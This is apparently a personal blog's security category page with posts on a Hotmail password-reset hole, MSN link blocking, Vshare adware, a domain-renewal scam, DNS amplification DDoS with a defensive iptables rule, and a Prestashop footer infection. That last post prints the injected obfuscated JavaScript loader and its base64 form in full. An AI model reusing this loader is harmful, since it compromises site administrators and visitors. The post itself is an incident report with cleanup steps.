Category: Security

  • Hotmail security hole plugged silently, no communication, no customer service

    A vulnerability in the Hotmail password reset pages, that allowed hackers to get access to ANY hotmail/MSN account, has been widely exploited over the past week.

    I found a video on Youtube dated April 12, which describes the security hole, which is trivial and only needs the modification of 1 email field during a request to the password reset page, when exploiting it , the password reset link would then be sent to an arbitrary email.

    My MSN/passport.net accounts (and many of my contacts) have been hacked briefly during the night from April 17 to April 18, i then informed MSRC about an unknown vulnerability in the password reset page, and it seems the vulnerability was plugged on April 19 or 20.

    What surprises me is the communication of Microsoft, there has been no public statement about the vulnerability, and all the hacked accounts have been permanently blocked and need to be unblocked manually by Microsoft employees. Some have been unblocked after asking on the forums answers.microsoft.com, but thousands remain blocked (every password reset, either through email, SMS or through the customer service don’t help).

    We are on April 24 and most of the users don’t even know this is the fault of Microsoft and i’m surprised they didn’t bother to help the hacked customers to get back their accounts, this is another big disappointment about the Microsoft security, communication and ethics.

    Other sites talking about the vulnerability:

    http://syria.telecomix.org/

    http://www.whitec0de.com/new-hotmail-exploit-can-get-any-hotmail-email-account-hacked-for-just-20/

    http://hackingworldnews.blogspot.fr/2012/04/yet-another-hotmail-exploit-for-avril.html

     

    UPDATE 26/04:

    MSRC tweeted about the fix:

    https://twitter.com/#!/msftsecresponse/status/195568235654021121

    Got back my account after contacting the customer service, for this you need to follow the link on the page saying you’re blocked, and then login with a new (unblocked) account.. The mess ended.. At least, let’s hope so.

    Here is the direct link to the correct support page:

    http://windows.microsoft.com/en-us/windows-live/get-support?selectedproduct=Hotmail&selectedissue=Your%20account%20has%20been%20temporarily%20blocked&productKey=wolmain

  • Thepiratebay.se links blocked in MSN Messenger

    UPDATE 28/03/2012: TheRegister has published an article about it and it seems MS decided to unban thepiratebay!

    http://www.theregister.co.uk/2012/03/26/microsoft_censors_pirate_bay_im/

    ——–

    Looks like thepiratebay.se links are blocked in MSN messenger, anybody who tries to send a link, even of the homepage, receives back an error:

    I’d be curious to know if it has been mistakenly categorized as a site containing viruses or if it was a move from Microsoft to “hit” thepiratebay and the revenue they generate from visits.

  • Vshare / Widdit / searchcompletion.com Adware

    Vshare plugin *IS* an adware.

    Whether you are on Mac, Windows or Linux this is the same, and you don’t even need the toolbar, only the plugin.

    I’ve installed the old version of the Vshare plugin on my Firefox, on Linux, (old version because the newest isn’t available on Linux) then some popups started to appear on sites like wikipedia.org, loaded from some files hosted on widdit.com,  and leading to search.searchcompletion.com (a quick lookup on Google shows some Windows users also see this site as their main browser page, after installing Vshare).

    Widdit belongs to an Israeli company (SimplyGen), so does Vshare. Maybe both sites are from the same company.

    At this point i don’t know if it only adds some random popups or also does other nasty things (like replacing ads). I didn’t read any other article on the subject, so i decided to write this post. If you have other info, post it in the comments!

  • Prestashop XSS Worm (footer.tpl virus)

    Today i woke up and connected to a Prestashop site i’m setting up.
    I didn’t install anything extra on it (only my custom template), also it wasn’t in search engines.
    I noticed a strange blank line in the footer.. DOH!

    When i looked, i had this code in the footer:

    <script>String.prototype.asd=function(){return String.fromCharCode;};
    Object.prototype.asd=”e”;try{for(i in{})if(~i.indexOf(‘as’))throw 1;}
    catch(q){zxc={}[i];}v=document.createTextNode(‘asd’);
    var s=””;for(i in v)if(i==’childNodes’)o=v[i].length+1;o*=2;e=eval;
    m=[120-o,99-o,116-o,34-o,102-o,34-o,63-o,34-o,112-o,103-o,121-o,34-o
    ,70-o,99-o,118-o,103-o,42-o,43-o,61-o,120-o,99-o,116-o,
    34-o,122-o,63-o,85-o,118-o,116-o,107-o,112-o,105-o,48-o,104-o,116-o,
    113-o,111-o,69-o,106-o,99-o,116-o,69-o,113-o,102-o,103-o,42-o,79-o,99-o,
    118-o,106-o,48-o,104-o,110-o,113-o,113-o,116-o
    ,42-o,102-o,48-o,105-o,103-o,118-o,70-o,
    99-o,118-o,103-o,42-o,43-o,49-o,52-o,43-o,45-o,59-o,57-o,
    43-o,61-o,34-o,120-o,99-o,116-o,
    34-o,123-o,63-o,85-o,118-o,116-o,107-o,112-o,105-o,48-o,
    104-o,116-o,113-o,111-o,69-o,106-o,
    99-o,116-o,69-o,113-o,102-o,103-o,42-o,102-o,48-o,105-o
    ,103-o,118-o,74-o,113-o,119-o,116-o,
    117-o,42-o,43-o,45-o,59-o,57-o,43-o,61-o,102-o,113-o,101-o
    ,119-o,111-o,103-o,112-o,118-o,
    48-o,121-o,116-o,107-o,118-o,103-o,42-o,36-o,62-o,107-o,104-o
    ,116-o,99-o,111-o,103-o,34-o,
    117-o,116-o,101-o,63-o,41-o,106-o,118-o,118-o,114-o,60-o,49-o,
    49-o,101-o,110-o,107-o,101-o,
    109-o,111-o,103-o,36-o,45-o,122-o,45-o,123-o,45-o,36-o,48-o,104-o,
    107-o,110-o,103-o,99-o,120-o,103-o,48-o,101-o,113-o,111-o,
    41-o,34-o,121-o,107-o,102-o,118-o,
    106-o,63-o,50-o,34-o,106-o,103-o,107-o,105-o,106-o,118-o,63-o,
    50-o,64-o,36-o,43-o,61-o];
    mm=”.asd();for(i=0;i<m.length;i++)s+
    =mm(e(“m”+”[“+”i”+”]”));e(s);</script>

    And this in footer.tpl was causing it:

    {literal}base64_decode(“PHNjcmlwdD5TdHJpbmcucHJvdG90eXBlL
    mFzZD1mdW5jdGlvbigpe3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlO3
    07T2JqZWN0LnByb3RvdHlwZS5hc2Q9ImUiO3RyeXtmb3IoaSBpbnt9KWl
    mKH5pLmluZGV4T2YoJ2FzJykpdGhyb3cgMTt9Y2F0Y2gocSl7enhjPXt9
    W2ldO312PWRvY3VtZW50LmNyZWF0ZVRleHROb2RlKCdhc2QnKTt2YXIgc
    z0iIjtmb3IoaSBpbiB2KWlmKGk9PSdjaGlsZE5vZGVzJylvPXZbaV0ubG
    VuZ3RoKzE7byo9MjtlPWV2YWw7bT1bMTIwLW8sOTktbywxMTYtbywzNC1
    vLDEwMi1vLDM0LW8sNjMtbywzNC1vLDExMi1vLDEwMy1vLDEyMS1vLDM0
    LW8sNzAtbyw5OS1vLDExOC1vLDEwMy1vLDQyLW8sNDMtbyw2MS1vLDEyM
    C1vLDk5LW8sMTE2LW8sMzQtbywxMjItbyw2My1vLDg1LW8sMTE4LW8sMTE
    2LW8sMTA3LW8sMTEyLW8sMTA1LW8sNDgtbywxMDQtbywxMTYtbywxMTMt
    bywxMTEtbyw2OS1vLDEwNi1vLDk5LW8sMTE2LW8sNjktbywxMTMtbywxM
    DItbywxMDMtbyw0Mi1vLDc5LW8sOTktbywxMTgtbywxMDYtbyw0OC1vLD
    EwNC1vLDExMC1vLDExMy1vLDExMy1vLDExNi1vLDQyLW8sMTAyLW8sNDg
    tbywxMDUtbywxMDMtbywxMTgtbyw3MC1vLDk5LW8sMTE4LW8sMTAzLW8s
    NDItbyw0My1vLDQ5LW8sNTItbyw0My1vLDQ1LW8sNTktbyw1Ny1vLDQzL
    W8sNjEtbywzNC1vLDEyMC1vLDk5LW8sMTE2LW8sMzQtbywxMjMtbyw2My
    1vLDg1LW8sMTE4LW8sMTE2LW8sMTA3LW8sMTEyLW8sMTA1LW8sNDgtbyw
    xMDQtbywxMTYtbywxMTMtbywxMTEtbyw2OS1vLDEwNi1vLDk5LW8sMTE2L
    W8sNjktbywxMTMtbywxMDItbywxMDMtbyw0Mi1vLDEwMi1vLDQ4LW8sMTA
    1LW8sMTAzLW8sMTE4LW8sNzQtbywxMTMtbywxMTktbywxMTYtbywxMTctby
    w0Mi1vLDQzLW8sNDUtbyw1OS1vLDU3LW8sNDMtbyw2MS1vLDEwMi1vLDEx
    My1vLDEwMS1vLDExOS1vLDExMS1vLDEwMy1vLDExMi1vLDExOC1vLDQ4L
    W8sMTIxLW8sMTE2LW8sMTA3LW8sMTE4LW8sMTAzLW8sNDItbywzNi1vLD
    YyLW8sMTA3LW8sMTA0LW8sMTE2LW8sOTktbywxMTEtbywxMDMtbywzNC
    1vLDExNy1vLDExNi1vLDEwMS1vLDYzLW8sNDEtbywxMDYtbywxMTgtby
    wxMTgtbywxMTQtbyw2MC1vLDQ5LW8sNDktbywxMDEtbywxMTAtbywxMD
    ctbywxMDEtbywxMDktbywxMTEtbywxMDMtbywzNi1vLDQ1LW8sMTIyLW
    8sNDUtbywxMjMtbyw0NS1vLDM2LW8sNDgtbywxMDQtbywxMDctbywxMT
    AtbywxMDMtbyw5OS1vLDEyMC1vLDEwMy1vLDQ4LW8sMTAxLW8sMTEzLW
    8sMTExLW8sNDEtbywzNC1vLDEyMS1vLDEwNy1vLDEwMi1vLDExOC1vLD
    EwNi1vLDYzLW8sNTAtbywzNC1vLDEwNi1vLDEwMy1vLDEwNy1vLDEwNS1
    vLDEwNi1vLDExOC1vLDYzLW8sNTAtbyw2NC1vLDM2LW8sNDMtbyw2MS1v
    XTttbT0nJy5hc2QoKTtmb3IoaT0wO2k8bS5sZW5ndGg7aSsrKXMrPW1tK
    GUoIm0iKyJbIisiaSIrIl0iKSk7ZShzKTs8L3NjcmlwdD4=”){/literal}

    Also 2 PHP files were created in the upload/ and download/ folders which had the creation time set to the exact time i entered in the backend this morning!

    Apparently, Prestashop.com got compromised and somebody inserted a malicious script, which was executed in any admin’s browser window and that would make him backdoor his own site.

    All the infected shops employees’ credentials were sent to these malicious emails: samuvel_hitroy@aol.com and preop@gmx.com

    The fix:
    Be sure to delete modules/her.php
    Remove the javascript code in the end of your footer.tpl theme files.
    Be sure to create these folders:
    tools/smarty/compile/
    tools/smarty/cache/

    Put back the htaccess files of upload/ and download/

    You can clear *.php files from upload/ and download/

    Clear ALL your cache.
    Move your admin folder.
    Reset your Mysql Password.
    Reset all your employees’ passwords!

    The vulnerability has been fixed on prestashop.com.

    This shows how including external content (html) is really risky and should be avoided at all cost. External content should always be parsed and displayed safely.

    More information on this thread:
    http://www.prestashop.com/forums/topic/125798-footertpl-vulnerability/

    UPDATE: Prestashop has published an official statement and published a tool to clean an infected site:

    http://www.prestashop.com/blog/article/please_read_security_procedure/

  • The domainrenewal (domainrenewalgroup.com) scam

    OK this is already everywhere on internet for years, but i really had to write a post about it as these guys are spamming my mailbox every year.

    This company is trying to convince people into believing they need to renew (and obviously transfer) their domain names with them. Their paper looks very professional, and they are still active, which means they might be making some good money.

    Here’s the envelop (click to see better):

    And the letter:

     

     

     

     

     

    Also their website is www.domainrenewalgroup.com (no way i hard-link this s***), and their former name was “Domain Registry of America”.

     

     

  • New DDoS attacks exploit recursive DNS Servers

    Looks like some people are exploiting recursive DNS servers to conduct DDoS attacks.

    How? Simple: Some spoofed DNS requests appear to be sent from a victim host, they usually request for “.” (the root zone as it has a long answer) or a specific domain, if the DNS server is badly configured it will send back the full answer to the victim server. Here is what i got in my server logs:

    Jan 22 19:24:22 *************** named[27457]: client 66.230.128.15#17247: query (cache) ‘./NS/IN’ denied
    Jan 22 19:24:24 *************** named[27457]: client 66.230.160.1#31622: query (cache) ‘./NS/IN’ denied
    Jan 22 19:24:24 *************** named[27457]: client 66.230.128.15#60407: query (cache) ‘./NS/IN’ denied
    Jan 22 19:24:24 *************** named[27457]: client 66.230.160.1#57967: query (cache) ‘./NS/IN’ denied
    Jan 22 19:24:26 *************** named[27457]: client 66.230.160.1#40365: query (cache) ‘./NS/IN’ denied
    Jan 22 19:24:26 *************** named[27457]: client 66.230.160.1#13640: query (cache) ‘./NS/IN’ denied

    The victim in this case were the isprime.com NS servers.

    Today all the networksolutions DNS servers are very slow, it is possible that they are now the targets of those attacks..

    http://blog.networksolutions.com/2009/potential-latency-on-network-solutions-dns/

    http://isc.sans.org/diary.html?storyid=5713

    UPDATE:

    If you also want to get rid of this annoying stuff in your logs, do:

    iptables -A INPUT -j DROP -p udp –dport domain -m u32 –u32 “0>>22&0x3C@12>>16=1&&0>>22&0x3C@20>>24=0&&0>>22&0x3C@21=0x00020001”

    This will block those specific NS requests. If you get an error doing this, it’s because you don’t have xt_u32 enabled or compiled into your kernel. Try:

    modprobe xt_u32

    If you’re getting an error, try to compile a recent 2.6 kernel version, and be sure to enable the “u32” match support, in menuconfig it is in:

    networking support -> networking options -> Network packet filtering framework (Netfilter) -> Core Netfilter Configuration